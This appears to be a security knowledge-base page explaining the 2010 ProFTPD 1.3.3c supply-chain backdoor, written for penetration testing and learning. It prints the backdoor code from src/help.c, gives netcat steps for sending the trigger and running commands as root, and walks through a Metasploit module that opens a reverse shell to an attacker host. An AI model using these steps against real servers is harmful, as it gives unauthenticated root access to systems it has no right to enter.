Skip to content
HackIndex.io

ProFTPD 1.3.3c Backdoor

2 min read Created Dec 29, 2025 Last updated Jul 9, 2026

CVE: CVE-2010-20103

The ProFTPD 1.3.3c backdoor stems from a real-world supply-chain attack in late 2010. Attackers compromised the official ProFTPD distribution server and replaced the source tarballs (proftpd-1.3.3c.tar.gz/bz2) with trojaned versions for a few days (Nov 28 - Dec 2). Anyone who compiled and installed from those files got a daemon with a deliberate root backdoor.

  • Trigger send HELP ACIDBITCHEZ via the FTP control channel to activate the backdoor.
  • Impact unauthenticated remote root shell, since ProFTPD typically runs as root.
  • Manual exploitation connect with netcat, send the trigger, and run commands directly as root.
  • Metasploit module exploit/unix/ftp/proftpd_133c_backdoor automates the trigger and payload delivery.

Technical Details

The malicious code lives in src/help.c. The attackers added a check in the HELP command handler:

if (strcmp(target, "ACIDBITCHEZ") == 0) {
  setuid(0);
  setgid(0);
  system("/bin/sh;/sbin/sh");
}

When the FTP client sends HELP ACIDBITCHEZ, the server spawns /bin/sh as root (since ProFTPD typically runs as root) and pipes subsequent input lines directly to it. Output from commands is sent back as HELP responses. No authentication required. Subsequent lines on the connection are treated as shell commands executed with root privileges.

This gives unauthenticated remote root command execution. Instant game over.

Manual Exploitation

Connect with netcat or telnet:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 21
┌──(kali㉿kali)-[~]
└─$ HELP ACIDBITCHEZ
┌──(kali㉿kali)-[~]
└─$ id 
uid=0(root) gid=0(root) ...

All commands run as root.

Metasploit Module

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 > set RHOSTS $TARGET_IP
msf6 > set payload cmd/unix/reverse_perl # or reverse_bash, bind_tcp, etc.
msf6 > set LHOST $ATTACKER_IP
msf6 > exploit

The module sends HELP ACIDBITCHEZ, verifies the backdoor is active, then delivers the payload command (wrapped in nohup for background execution). Drops a root meterpreter or command shell.

References